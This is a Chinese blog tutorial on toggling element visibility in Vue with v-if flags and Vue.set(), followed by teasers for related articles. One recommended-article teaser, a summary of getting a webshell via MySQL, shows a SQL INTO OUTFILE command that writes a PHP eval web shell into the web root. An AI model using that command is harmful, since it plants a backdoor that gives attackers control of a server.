vue实现 toggle显示隐藏效果
背景介绍
jQuery中有个toggle()方法,可以切换元素的显示状态,在用vue时如果不引入jQuery如何实现这种效果?
使用场景
常见有三种场景:
1.控制页面中一个dom元素
2.控制页面中多个dom元素
3.控制页面中的dom元素是从服务端返回,且有多个
技术分析
1.一二场景下实现这种效果可以用v-if指令,通过设置true或false来控制dom的隐藏与显示。如果控制一个dom或多个dom我们可以在data中定义对应的flag,每次点击事件发生时 flag=!flag ,来切换flag的值。这样点击的dom可以做的显示或隐藏切换。
2.第一和第二种场景比较简单按照上述方式可以实现,第三种场景用这种方法就不行了,因为我们不知道会从服务端返回几个dom,所以也就不能具体的定义控制dom的flag变量。这种情况下要怎么实现点击从用服务端返回的数据渲染成的dom,来达到却换隐藏和显示效果?
实现方法
实现第三种场景可以用Vue.set()方法。具体实现方式如下:
1.第一步先定义一个data对象来接收从服务端返回的数据
data(){
return {
listAll:{}
}
}
2.先定义个toggleShow()方法:
methods: {
toggleShow(index){
let obj = this.listAll[index]; // 找到点击的dom对象
obj.hide = !obj.hide; // 向这个对象中添加 hide 属性
this.$set(this.listAll, index, obj); // 把添加完hide 属性的新对象set()进data数据中
}
}
3.在标签模板中调用toggleShow()方法
<div v-for="(item, index) in listAll" :key="index">
<card @click.native="toggleShow(index)">
</card>
<div v-if="item.hide ? true:false">
// 显示或隐藏区域
</div>
</div>
归纳总结
实现这种需要有两种方式
1.在data中定义固定的flag值,根据用切换flag值的方式来达到切换dom的显示或隐藏
2.使用Vue.set()方法,在异步请求会的数据中添加临时hide属性,来控制点击的dom元素隐藏或显示
如果不知道如何把从服务端接收的数据实时渲染的页面中,可以翻看这篇文章:
vue异步请求的数据怎样实时渲染到页面上?

vue实现 toggle显示隐藏效果的更多相关文章
- js鼠标滑动图片显示隐藏效果
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- vue+element-ui实现显示隐藏密码
<template> <el-form :model="cuser_info" label-width="115px" label-posit ...
- jquery显示隐藏效果
通过 jQuery,您可以使用 hide() 和 show() 方法来隐藏和显示 HTML 元素toggle() 方法来切换 hide() 和 show() 方法. 1.hide()隐藏元素 $(se ...
- 基于jQuery实现页面滚动时顶部导航显示隐藏效果
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="UTF-8& ...
- 兼容IE6及以上的导航栏子菜单栏滑过显示隐藏效果
;(function(window){ var li = document.getElementById('parentnav').getElementsByTagName('li')[ ...
- react better-scroll 编写类似手机chrome的header显示隐藏效果
关键代码 const H = 50; // header的高度 const H2 = H / 2; let cy = 0; class Home extends Component { @observ ...
- WinForm实现类似QQ停靠,显示隐藏过程添加特效效果
原文:WinForm实现类似QQ停靠,显示隐藏过程添加特效效果 这可能是个老题长谈的问题了,只是在项目中会用到这个效果,所以今天做个记录.大家见了别喷我.在项目中的需求是这样的. 打开程序,在屏幕的右 ...
- js进阶 13-1 jquery动画中的显示隐藏函数有哪些
js进阶 13-1 jquery动画中的显示隐藏函数有哪些 一.总结 一句话总结:show(),hide(),toggle(),这三个. 1.jquery动画中显示隐藏效果函数有哪些? show()h ...
- jquery的toggle动画效果显示隐藏
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
随机推荐
- mysql拿webshell总结
1.select '<?php eval($_POST[jumbo]) ?>' into outfile '/var/www/jumbo.php'; 2.select '<?php ...
- vue v-for的数组改变导致页面不渲染解决方法
直接在数组里,改变数组来达到重新渲染页面的目的, 需要用push等数组方法, 或者$set(),或者给数组重新赋值,来改变数组引用地址 而是直接索引= <body> <div id= ...
- Hadoop fs -put bandwidth 暴力版
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreem ...
- MySQL数据库报错pymysql.err.InterfaceError: (0, '')
今天入库的时候出现了报错pymysql.err.InterfaceError: (0, ''),经过排查,发现是由于把连接数据库的代码放到了插入函数的外部,导致多线程运行出错 def write_in ...
- Linux 下挂载新硬盘方法
Linux的硬盘识别: 一般使用”fdisk -l”命令可以列出系统中当前连接的硬盘 设备和分区信息.新硬盘没有分区信息,则只显示硬盘大小信息. 1.关闭服务器加上新硬盘 2.启动服务器,以r ...
- 洛谷P3369 【模板】普通平衡树
题目描述 您需要写一种数据结构(可参考题目标题),来维护一些数,其中需要提供以下操作: 插入x数 删除x数(若有多个相同的数,因只删除一个) 查询x数的排名(排名定义为比当前数小的数的个数+1.若有多 ...
- 【WordCount】实现(重做)
Gitee项目地址: https://gitee.com/LIUJIA6/wordcount_implementation 需求说明: WordCount的需求可以概括为:对程序设计语言源文件统计字符 ...
- Memcache&Redis
Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载.减少数据库读取次数来提高网站速度 先在一台机器安装memcache 然后使用Python 安装pip3 i ...
- python摸爬滚打之day20--多继承,MRO和C3算法
1.新式类和经典类 在python2.2之前, 基类如果不写(), 则表示为经典类; 在python2.2之后, 经典类不复存在, 只存在新式类. 如果基类谁都不继承的话, 则默认继承object. ...
- asp.net mvc 简单实现一个账号只能在一个地方登录
原理: 假设用户在机器A登陆后, 这时用户再次在机器B登陆,会以当前会话的SessionID作为键,用户id作为值,插入dictionary集合中,集合再保存在application(保存在服务器 ...